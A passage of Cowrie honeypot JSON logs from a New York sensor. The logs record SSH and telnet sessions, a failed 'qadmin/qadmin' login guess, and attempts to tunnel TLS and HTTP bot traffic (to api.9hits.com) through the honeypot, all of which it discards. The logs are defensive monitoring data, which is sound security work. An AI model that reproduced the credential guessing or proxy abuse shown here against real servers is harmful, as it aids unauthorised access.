A%2FGggedf2NcHGhbYl4V4iNXxgAFMFS%2FKxZJZcieXS2MVytng8Q3Rv73xyGu91GITLCvNizE736xt0XyKbKZrZXwNt3Ze6xE166L4Ehvwv3WeAQ8pMr7uSY6MQ%2Bn%2BKIfN9JlLQCS8u%2B8L4N6G3CrG4JyCX3OR89PIar%2BoAqzvzrpjCRVnDKalGAHrMcRd0J%2FdwM4Xx5oV0lzYVlEoTNeHBnHQHr7qnJ0f8us%2B9qka%2BfJ%2FO3NmaR%2BXjncMEd7gQZU2BP0Qxummcf02GmscVGTe9uPv7UcllDw7Mp%2FB%2BXVtFdCFeL6vajCHxIKgnZF8uIpMdnwdYJwOOyr4MzE1MoY20NzM%2FoDTOGMRVBQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.600499Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.823172Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\x11\\xa5 \\x7f\\xf2\\xa8k\\x1eVYx~}2\\xed\\xd9\\xab\\x927J\\x1d\\x1b\\xa8%\\xa2=\\x92\\xe8\\n\\x1e\\xe7 \\x99&#\\xd8\\xd9\\tD+k<\\x96\\x183,\\xbf\\xaf\\xc7\\xb0\\x94\\xe5\\x80\\xe3\\x9bc\\xfbO\\xa3\\x1c\\xd5\\x80|\\x0b\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6&\\xf6\\xb2\\x18\\xa1\\x10pz\\xdb\\x99\\xa8\\xa7\\xdd!\\xb1\\x1b\\x8a\\xef\\x85\\x91\\xbe\"deX]z\\x8d\\xfa\\xcdC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03 \\x11\\xa5 \\x7f\\xf2\\xa8k\\x1eVYx~}2\\xed\\xd9\\xab\\x927J\\x1d\\x1b\\xa8%\\xa2=\\x92\\xe8\\n\\x1e\\xe7 \\x99&#\\xd8\\xd9\\tD+k<\\x96\\x183,\\xbf\\xaf\\xc7\\xb0\\x94\\xe5\\x80\\xe3\\x9bc\\xfbO\\xa3\\x1c\\xd5\\x80|\\x0b\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6&\\xf6\\xb2\\x18\\xa1\\x10pz\\xdb\\x99\\xa8\\xa7\\xdd!\\xb1\\x1b\\x8a\\xef\\x85\\x91\\xbe\"deX]z\\x8d\\xfa\\xcdC\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:38.826655Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:39.276176Z","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:39.507126Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\x92r\\xc1\\x1aS|\\x93\\xfft\\xf1\\xcf~\\xdb\\xf7\\xc0\\xc5\\xdc\\x17\\x89\\x0ch#\\xadJ\\xdd\\x01\\x7f2\\xfd\\xfd\" \\xa1\\x99\\xecq\\x89^f\\xac\\xdeD\\xd9\\x9f\\x11p\\xc5\\xf59\\x8d\\xdfB|;\\xc9\\x83?Q\\x86u\\xde\\xe7K\\xe1\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 !\\x93\\x98\\x06$\\'\\xee.\\x81\\xa9\\xff\\xddh\\xc9\\x92g\\x1dk\\x11\\xca0v\\x1c!(\\x00\\x10w?s\\x0bN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd3\\x92r\\xc1\\x1aS|\\x93\\xfft\\xf1\\xcf~\\xdb\\xf7\\xc0\\xc5\\xdc\\x17\\x89\\x0ch#\\xadJ\\xdd\\x01\\x7f2\\xfd\\xfd\" \\xa1\\x99\\xecq\\x89^f\\xac\\xdeD\\xd9\\x9f\\x11p\\xc5\\xf59\\x8d\\xdfB|;\\xc9\\x83?Q\\x86u\\xde\\xe7K\\xe1\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 !\\x93\\x98\\x06$\\'\\xee.\\x81\\xa9\\xff\\xddh\\xc9\\x92g\\x1dk\\x11\\xca0v\\x1c!(\\x00\\x10w?s\\x0bN\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:39.529921Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:39.893774Z","src_ip":"123.27.168.40","session":"67bd00d6736b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.351826906204224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:39.921619Z","src_ip":"107.6.151.170","session":"053fcb174145","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513715028762817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:43.354657Z","src_ip":"172.81.62.90","session":"7b75e2b3efe1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":43558,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e7d4a7d4aa8","protocol":"ssh","message":"New connection: 2.99.213.222:43558 (159.203.135.109:22) [session: 6e7d4a7d4aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:46.461868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:46.466565Z","src_ip":"2.99.213.222","session":"6e7d4a7d4aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:46.566021Z","src_ip":"2.99.213.222","session":"6e7d4a7d4aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qadmin","password":"qadmin","message":"login attempt [qadmin/qadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:47.008132Z","src_ip":"2.99.213.222","session":"6e7d4a7d4aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:48.112880Z","src_ip":"2.99.213.222","session":"6e7d4a7d4aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":64859,"dst_ip":"10.17.0.5","dst_port":22,"session":"7413e3bcb4d7","protocol":"ssh","message":"New connection: 23.175.50.47:64859 (10.17.0.5:22) [session: 7413e3bcb4d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:50.086739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:50.091650Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:50.178997Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.760218Z","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.765152Z","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:51.816936Z","src_ip":"23.175.50.47","session":"d4de7ffea88b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/609.4.1 (KHTML, like Gecko) Version/9.1.2 Safari/609.4.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UyUhez5YM0VBNCljTlMjSw%3D%3DqiA1qMQ9MrqcHregiJvPz6Hs8CTGcPtmrI1wGXlgV7bTuU4gDqbFSsxVu4fRyiQ29PQLkwizqoegsJ8Ru5eNOhX9om0RNtCXQHLIeLgFTkw5tcGCJtTn1%2FUFvn2gWcA8QL0YK0RPjbrAj7eL0N%2F9UdfZtq7nNbTi8DMF%2BPgDKDq%2BExvEApLPRP%2FLYPnm0lEs19cNC1nPg43l4zoivvm22Vxd1dJjmLltEzqRnv5oNOw5UCB7S%2BOzpeYtoz8ut3DsUoVs0y5D%2FOaPVazrfrPKUJYUbqbQakKHw6zwLDs1%2BPjlE6C2yJSJnB9WHVSXaqpI6cdtoomhNDG6W6HZfcKovoOhIJnRvtslREWoOiLTORqFtYsAymoMK0oYpeUZiU7zmWXxdxx0aprMe%2FjhShWmNuIlpjEtb8UotYljClxWgCTQ9uJAVK8djvT93jAIks2Xs5XPEyt8mBk%2B2PWIVWGVvl4UWOrgCRUrTjQdakk%2B3hS%2FluTYm1qwk98w0qjI6o172vfH70mTkUM10EweVtdk2rQQk7lE%2Bz8iO1a6cDHPha01YytPUX%2BTJWJ1dalfB36QLTumotoJ5ozaWWpVBMHd%2FD3nelciU7bJg5dMOKhK5nlm6vFaez5071N52LqgW734x8GdzPyNi0OncXrWEJHTiSUvfzXH6Abra9lmm0tbw3GMftdm3THdIwLbDoetdYk3UxrenpktOPg7W4m3TdO33I30VgZhPSgrREWTZPND%2B7uGH4uL%2F%2Faw79rQ9F3faYBxA3tczL7Ie4iamy99INjCIWH0oHf4dAZXNxK8d0peLpgZRjt3MPb2%2FMAzOs4fVOlgAxWrYy%2FeF%2BbNrwfLJFw5oeKfhO5EA06DB%2FByOPXP0G9ldTQxWFlCDl7iA40cinNEA%2FyBE5Wj1HrVY9OGV8oC4zJNjxAGqdTHY2oebsf2%2Bm1kcVOTNyDwE2Oc8ZAnHuRDwLSo8qeeMKjIsVjl5I8lp%2FQ8KtY1NPCNofunqrkX2HG3HMLK9VYEC9MT3184pgiZVBdUeQL3keDJH0n8M3qUaAHXpY7B2k6mXj8ikpXC9KeZy6r7c6mD2Vhzv65KnlIL'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic 